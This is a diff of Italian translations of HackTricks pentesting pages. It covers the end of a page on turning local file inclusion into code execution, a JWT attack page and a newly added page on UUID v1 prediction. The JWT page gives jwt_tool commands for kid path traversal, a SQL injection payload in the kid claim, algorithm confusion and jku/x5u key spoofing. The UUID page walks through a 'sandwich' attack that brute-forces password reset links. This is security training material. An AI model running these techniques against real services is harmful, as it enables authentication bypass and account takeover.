[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
|
@ -622,7 +626,7 @@ Se hai trovato una **Inclusione di File Locale** e **puoi esfiltrare il percorso
|
|||
|
||||
### Attraverso attesa eterna + forza bruta
|
||||
|
||||
Se puoi abusare dell'Inclusione di File Locale per **caricare file temporanei** e far **bloccare** l'esecuzione PHP sul server, potresti quindi **forzare i nomi dei file per ore** per trovare il file temporaneo:
|
||||
Se puoi abusare dell'Inclusione di File Locale per **caricare file temporanei** e far **bloccare** l'esecuzione PHP del server, potresti quindi **forzare i nomi dei file per ore** per trovare il file temporaneo:
|
||||
|
||||
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
||||
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
||||
|
@ -646,15 +650,15 @@ _Anche se causi un Errore Fatale di PHP, i file temporanei di PHP caricati vengo
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug!
|
||||
Unisciti al [**server Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug!
|
||||
|
||||
**Approfondimenti sull'Hacking**\
|
||||
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
|
||||
Coinvolgiti con contenuti che esplorano l'emozione e le sfide dell'hacking
|
||||
|
||||
**Notizie sull'Hacking in Tempo Reale**\
|
||||
Resta aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
|
||||
Resta aggiornato con il mondo dell'hacking ad alta velocità attraverso notizie e approfondimenti in tempo reale
|
||||
|
||||
**Ultime Novità**\
|
||||
**Ultime Annunci**\
|
||||
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
|
||||
|
||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi!
|
||||
|
@ -667,8 +671,8 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -14,14 +14,14 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza in polacco scritto e parlato_).
|
||||
Se sei interessato alla **carriera di hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**Parte di questo post si basa sull'ottimo post:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Autore dell'ottimo strumento per il pentesting di JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
**Autore dell'ottimo strumento per il pentesting di JWT** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **Vittorie Veloci**
|
||||
|
||||
|
@ -35,36 +35,38 @@ Se sei fortunato, lo strumento troverà qualche caso in cui l'applicazione web s
|
|||
|
||||
![](<../.gitbook/assets/image (935).png>)
|
||||
|
||||
Quindi, puoi cercare la richiesta nel tuo proxy o estrarre il JWT utilizzato per quella richiesta usando lo strumento jwt_tool:
|
||||
Successivamente, puoi cercare la richiesta nel tuo proxy o estrarre il JWT utilizzato per quella richiesta utilizzando lo strumento jwt\_:
|
||||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
Puoi anche utilizzare l'[**Estensione Burp SignSaboteur**](https://github.com/d0ge/sign-saboteur) per lanciare attacchi JWT da Burp.
|
||||
|
||||
### Manipolare i dati senza modificare nulla
|
||||
|
||||
Puoi semplicemente manipolare i dati lasciando la firma invariata e verificare se il server controlla la firma. Prova a cambiare il tuo nome utente in "admin", per esempio.
|
||||
|
||||
#### **Il token viene verificato?**
|
||||
#### **La firma del token viene verificata?**
|
||||
|
||||
Per verificare se la firma di un JWT viene verificata:
|
||||
|
||||
* Un messaggio di errore suggerisce una verifica in corso; i dettagli sensibili negli errori dettagliati dovrebbero essere esaminati.
|
||||
* Una modifica nella pagina restituita indica la verifica.
|
||||
* Nessuna modifica suggerisce nessuna verifica; è il momento di sperimentare con la manipolazione delle richieste.
|
||||
* Nessuna modifica suggerisce nessuna verifica; è il momento di sperimentare con la manipolazione delle dichiarazioni del payload.
|
||||
|
||||
### Origine
|
||||
|
||||
È importante determinare se il token è stato generato lato server o lato client esaminando la cronologia delle richieste del proxy.
|
||||
|
||||
* I token visti per la prima volta dal lato client suggeriscono che la chiave potrebbe essere esposta al codice lato client, richiedendo ulteriori indagini.
|
||||
* I token che originano dal lato server indicano un processo sicuro.
|
||||
* I token visti per la prima volta dal lato client suggeriscono che la chiave potrebbe essere esposta al codice lato client, necessitando ulteriori indagini.
|
||||
* I token che originano lato server indicano un processo sicuro.
|
||||
|
||||
### Durata
|
||||
|
||||
Verifica se il token dura più di 24 ore... forse non scade mai. Se c'è un campo "exp", controlla se il server lo gestisce correttamente.
|
||||
|
||||
### Forza bruta del segreto HMAC
|
||||
### Forzare il segreto HMAC con attacco di forza bruta
|
||||
|
||||
[**Vedi questa pagina.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
[Vedi questa pagina.](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
### Modificare l'algoritmo in None
|
||||
|
||||
|
@ -77,7 +79,7 @@ Utilizza l'estensione Burp chiamata "JSON Web Token" per provare questa vulnerab
|
|||
L'algoritmo HS256 utilizza la chiave segreta per firmare e verificare ciascun messaggio.\
|
||||
L'algoritmo RS256 utilizza la chiave privata per firmare il messaggio e utilizza la chiave pubblica per l'autenticazione.
|
||||
|
||||
Se cambi l'algoritmo da RS256 a HS256, il codice back end utilizza la chiave pubblica come chiave segreta e quindi utilizza l'algoritmo HS256 per verificare la firma.
|
||||
Se cambi l'algoritmo da RS256 a HS256, il codice lato server utilizza la chiave pubblica come chiave segreta e poi utilizza l'algoritmo HS256 per verificare la firma.
|
||||
|
||||
Quindi, utilizzando la chiave pubblica e cambiando da RS256 a HS256 potremmo creare una firma valida. Puoi recuperare il certificato del server web eseguendo questo:
|
||||
```bash
|
||||
|
@ -91,7 +93,7 @@ Un attaccante incorpora una nuova chiave nell'intestazione del token e il server
|
|||
Ciò può essere fatto con l'estensione Burp "JSON Web Tokens".\
|
||||
(Inoltrare la richiesta al Repeater, all'interno della scheda JSON Web Token selezionare "CVE-2018-0114" e inviare la richiesta).
|
||||
|
||||
### Spoofing JWKS
|
||||
### Falsificazione di JWKS
|
||||
|
||||
Le istruzioni dettagliano un metodo per valutare la sicurezza dei token JWT, in particolare quelli che impiegano un claim di intestazione "jku". Questo claim dovrebbe collegarsi a un file JWKS (JSON Web Key Set) che contiene la chiave pubblica necessaria per la verifica del token.
|
||||
|
||||
|
@ -110,7 +112,7 @@ python3 jwt_tool.py JWT_QUI -X s
|
|||
|
||||
### Panoramica dei Problemi di Kid
|
||||
|
||||
Un claim di intestazione opzionale noto come `kid` viene utilizzato per identificare una chiave specifica, il che diventa particolarmente vitale in ambienti in cui esistono più chiavi per la verifica della firma del token. Questo claim aiuta a selezionare la chiave appropriata per verificare la firma di un token.
|
||||
Un claim di intestazione opzionale noto come `kid` è utilizzato per identificare una chiave specifica, il che diventa particolarmente vitale in ambienti in cui esistono più chiavi per la verifica della firma del token. Questo claim aiuta a selezionare la chiave appropriata per verificare la firma di un token.
|
||||
|
||||
#### Rivelazione della Chiave tramite "kid"
|
||||
|
||||
|
@ -118,15 +120,15 @@ Quando il claim `kid` è presente nell'intestazione, è consigliabile cercare ne
|
|||
|
||||
#### Traversamento del Percorso con "kid"
|
||||
|
||||
Il claim `kid` potrebbe anche essere sfruttato per navigare nel sistema di file, consentendo potenzialmente la selezione di un file arbitrario. È possibile testare la connettività o eseguire attacchi di Server-Side Request Forgery (SSRF) modificando il valore `kid` per mirare a file o servizi specifici. Manipolare il JWT per cambiare il valore `kid` mantenendo la firma originale può essere realizzato utilizzando il flag `-T` in jwt\_tool, come dimostrato di seguito:
|
||||
Il claim `kid` potrebbe anche essere sfruttato per navigare attraverso il sistema di file, consentendo potenzialmente la selezione di un file arbitrario. È possibile testare la connettività o eseguire attacchi di Server-Side Request Forgery (SSRF) modificando il valore `kid` per mirare a file o servizi specifici. Manipolare il JWT per cambiare il valore `kid` mantenendo la firma originale può essere realizzato utilizzando il flag `-T` in jwt\_tool, come dimostrato di seguito:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
Attraverso il mirare file con contenuti prevedibili, è possibile falsificare un JWT valido. Ad esempio, il file `/proc/sys/kernel/randomize_va_space` nei sistemi Linux, noto per contenere il valore **2**, può essere utilizzato nel parametro `kid` con **2** come password simmetrica per la generazione del JWT.
|
||||
|
||||
#### SQL Injection tramite "kid"
|
||||
#### Iniezione SQL tramite "kid"
|
||||
|
||||
Se il contenuto del claim `kid` viene utilizzato per recuperare una password da un database, un'iniezione SQL potrebbe essere facilitata modificando il payload `kid`. Un esempio di payload che utilizza l'iniezione SQL per alterare il processo di firma JWT include:
|
||||
Se il contenuto del claim `kid` viene utilizzato per recuperare una password da un database, potrebbe essere facilitata un'iniezione SQL modificando il payload `kid`. Un esempio di payload che utilizza un'iniezione SQL per alterare il processo di firma JWT include:
|
||||
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
|
@ -151,7 +153,7 @@ openssl genrsa -out keypair.pem 2048
|
|||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
Quindi puoi utilizzare ad esempio [**jwt.io**](https://jwt.io) per creare il nuovo JWT con le **chiavi pubbliche e private create e puntando il parametro jku al certificato creato.** Per creare un certificato jku valido, puoi scaricare quello originale e modificare i parametri necessari.
|
||||
Quindi puoi utilizzare ad esempio [**jwt.io**](https://jwt.io) per creare il nuovo JWT con le **chiavi pubbliche e private create e puntando il parametro jku al certificato creato**. Per creare un certificato jku valido, puoi scaricare quello originale e modificare i parametri necessari.
|
||||
|
||||
Puoi ottenere i parametri "e" e "n" da un certificato pubblico utilizzando:
|
||||
```bash
|
||||
|
@ -164,7 +166,7 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. Un URI che punta a un insieme di certificati pubblici X.509 (uno standard di formato certificato) codificati in forma PEM. Il primo certificato nell'insieme deve essere quello usato per firmare questo JWT. I certificati successivi firmano ciascuno quello precedente, completando così la catena di certificati. X.509 è definito in RFC 52807. È richiesta la sicurezza del trasporto per trasferire i certificati.
|
||||
X.509 URL. Un URI che punta a un insieme di certificati pubblici X.509 (uno standard di formato certificato) codificati in forma PEM. Il primo certificato nell'insieme deve essere quello utilizzato per firmare questo JWT. I certificati successivi firmano ciascuno quello precedente, completando così la catena di certificati. X.509 è definito in RFC 52807. È richiesta la sicurezza del trasporto per trasferire i certificati.
|
||||
|
||||
Prova a **cambiare questo header con un URL sotto il tuo controllo** e controlla se viene ricevuta qualche richiesta. In tal caso **potresti manomettere il JWT**.
|
||||
|
||||
|
@ -190,7 +192,7 @@ Se l'attaccante **genera un certificato autofirmato** e crea un token contraffat
|
|||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
```
|
||||
### Chiave pubblica incorporata (CVE-2018-0114)
|
||||
### Chiave Pubblica Incorporata (CVE-2018-0114)
|
||||
|
||||
Se il JWT ha incorporato una chiave pubblica come nello scenario seguente:
|
||||
|
||||
|
@ -212,7 +214,7 @@ openssl genrsa -out keypair.pem 2048
|
|||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
Puoi ottenere il "n" e "e" utilizzando questo script nodejs:
|
||||
Puoi ottenere il "n" e il "e" utilizzando questo script nodejs:
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
@ -247,7 +249,7 @@ Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001
|
|||
|
||||
**Controllo di Scadenza dei Token**
|
||||
|
||||
La scadenza del token viene verificata utilizzando il claim Payload "exp". Dato che i JWT sono spesso utilizzati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e riprodurre il JWT di un altro utente potrebbe consentire l'usurpazione di quell'utente. Il RFC JWT raccomanda di mitigare gli attacchi di replay JWT utilizzando il claim "exp" per impostare un tempo di scadenza per il token. Inoltre, è cruciale che l'applicazione implementi controlli pertinenti per garantire l'elaborazione di questo valore e il rifiuto dei token scaduti. Se il token include un claim "exp" e i limiti di tempo dei test lo consentono, si consiglia di memorizzare il token e riprodurlo dopo che il tempo di scadenza è trascorso. Il contenuto del token, inclusa l'analisi dei timestamp e il controllo di scadenza (timestamp in UTC), può essere letto utilizzando il flag -R di jwt_tool.
|
||||
La scadenza del token viene verificata utilizzando il claim Payload "exp". Dato che i JWT sono spesso utilizzati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e riprodurre il JWT di un altro utente potrebbe consentire l'usurpazione di quell'utente. Il RFC JWT raccomanda di mitigare gli attacchi di replay JWT utilizzando il claim "exp" per impostare un tempo di scadenza per il token. Inoltre, l'implementazione di controlli pertinenti da parte dell'applicazione per garantire l'elaborazione di questo valore e il rifiuto dei token scaduti è cruciale. Se il token include un claim "exp" e i limiti di tempo dei test lo consentono, è consigliabile memorizzare il token e riprodurlo dopo che è passato il tempo di scadenza. Il contenuto del token, inclusa l'analisi dei timestamp e il controllo di scadenza (timestamp in UTC), può essere letto utilizzando il flag -R di jwt_tool.
|
||||
|
||||
* Potrebbe essere presente un rischio per la sicurezza se l'applicazione continua a convalidare il token, poiché potrebbe implicare che il token non potrebbe mai scadere.
|
||||
|
||||
|
@ -255,9 +257,9 @@ La scadenza del token viene verificata utilizzando il claim Payload "exp". Dato
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e a hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_).
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, scritta e parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -267,7 +269,7 @@ Se sei interessato a una **carriera nel campo dell'hacking** e a hackerare l'imp
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
76
pentesting-web/uuid-insecurities.md
Normal file
76
pentesting-web/uuid-insecurities.md
Normal file
|
@ -0,0 +1,76 @@
|
|||
# Vulnerabilità delle UUID
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
Gli Identificatori Unici Universali (UUID) sono **numeri a 128 bit utilizzati per identificare in modo univoco le informazioni** nei sistemi informatici. Gli UUID sono essenziali nelle applicazioni in cui sono necessari identificatori univoci senza coordinazione centrale. Sono comunemente utilizzati come chiavi di database e possono fare riferimento a vari elementi come documenti e sessioni.
|
||||
|
||||
Gli UUID sono progettati per essere unici e **difficili da indovinare**. Sono strutturati in un formato specifico, divisi in cinque gruppi rappresentati da 32 cifre esadecimali. Esistono diverse versioni di UUID, ognuna con scopi diversi:
|
||||
|
||||
* **UUID v1** è basato sul tempo, incorpora il timestamp, la sequenza dell'orologio e l'ID del nodo (indirizzo MAC), ma può potenzialmente esporre informazioni di sistema.
|
||||
* **UUID v2** è simile al v1 ma include modifiche per i domini locali (non comunemente usato).
|
||||
* **UUID v3 e v5** generano UUID utilizzando valori hash da namespace e nome, con v3 che utilizza MD5 e v5 che utilizza SHA-1.
|
||||
* **UUID v4** è generato quasi interamente in modo casuale, fornendo un alto livello di anonimato ma con un leggero rischio di duplicati.
|
||||
|
||||
{% hint style="success" %}
|
||||
Nota che la versione e la sottoversione dell'UUID di solito appaiono nella stessa posizione all'interno dell'UUID. Ad esempio in:\
|
||||
12345678 - abcd - 1a56 - a539 - 103755193864\
|
||||
xxxxxxxx - xxxx - Mxxx - Nxxx - xxxxxxxxxxxx
|
||||
|
||||
* La **posizione della M** indica la **versione** dell'UUID. Nell'esempio sopra, è un UUID v**1**.
|
||||
* La **posizione della N** indica la variante dell'UUID.
|
||||
{% endhint %}
|
||||
|
||||
## Attacco Sandwich
|
||||
|
||||
Il "Sandwich Attack" è un tipo specifico di attacco che **sfrutta la prevedibilità della generazione di UUID v1 nelle applicazioni web**, in particolare nelle funzionalità come il reset della password. UUID v1 è generato in base al tempo, alla sequenza dell'orologio e all'indirizzo MAC del nodo, il che può renderlo in parte prevedibile se un attaccante può ottenere alcuni di questi UUID generati vicini nel tempo.
|
||||
|
||||
### Esempio
|
||||
|
||||
Immagina un'applicazione web che utilizza UUID v1 per generare link di reset della password. Ecco come un attaccante potrebbe sfruttare questo per ottenere l'accesso non autorizzato:
|
||||
|
||||
1. **Configurazione Iniziale**:
|
||||
|
||||
* L'attaccante ha il controllo su due account email: \`attacker1@acme.com\` e \`attacker2@acme.com\`.
|
||||
* L'account email del target è \`vittima@acme.com\`.
|
||||
|
||||
2. **Esecuzione**:
|
||||
|
||||
* L'attaccante avvia un reset della password per il suo primo account (\`attacker1@acme.com\`) e riceve un link di reset della password con un UUID, ad esempio \`99874128-7592-11e9-8201-bb2f15014a14\`.
|
||||
* Subito dopo, l'attaccante avvia un reset della password per l'account della vittima (\`vittima@acme.com\`) e quindi rapidamente per il secondo account controllato dall'attaccante (\`attacker2@acme.com\`).
|
||||
* L'attaccante riceve un link di reset per il secondo account con un UUID, ad esempio \`998796b4-7592-11e9-8201-bb2f15014a14\`.
|
||||
|
||||
3. **Analisi**:
|
||||
|
||||
* L'attaccante ha ora due UUID generati vicini nel tempo (\`99874128\` e \`998796b4\`). Date la natura sequenziale degli UUID basati sul tempo, l'UUID per l'account della vittima probabilmente si troverà tra questi due valori.
|
||||
|
||||
4. **Attacco di Forza Bruta:**
|
||||
|
||||
* L'attaccante utilizza uno strumento per generare UUID tra questi due valori e testa ciascun UUID generato cercando di accedere al link di reset della password (ad esempio, \`https://www.acme.com/reset/\<generated-UUID>\`).
|
||||
* Se l'applicazione web non limita adeguatamente la velocità o blocca tali tentativi, l'attaccante può testare rapidamente tutti gli UUID possibili nell'intervallo.
|
||||
|
||||
5. **Accesso Ottenuto:**
|
||||
|
||||
* Una volta scoperto l'UUID corretto per il link di reset della password della vittima, l'attaccante può reimpostare la password della vittima e ottenere l'accesso non autorizzato al suo account.
|
||||
|
||||
### Strumenti
|
||||
|
||||
* Puoi eseguire l'attacco sandwich automaticamente con lo strumento: [**https://github.com/Lupin-Holmes/sandwich**](https://github.com/Lupin-Holmes/sandwich)
|
||||
* Puoi rilevare questo tipo di UUID in Burp Suite con l'estensione [**UUID Detector**](https://portswigger.net/bappstore/65f32f209a72480ea5f1a0dac4f38248).
|
||||
|
||||
## Riferimenti
|
||||
|
||||
* [https://versprite.com/blog/universally-unique-identifiers/](https://versprite.com/blog/universally-unique-identifiers/)
|
Loading…
Reference in a new issue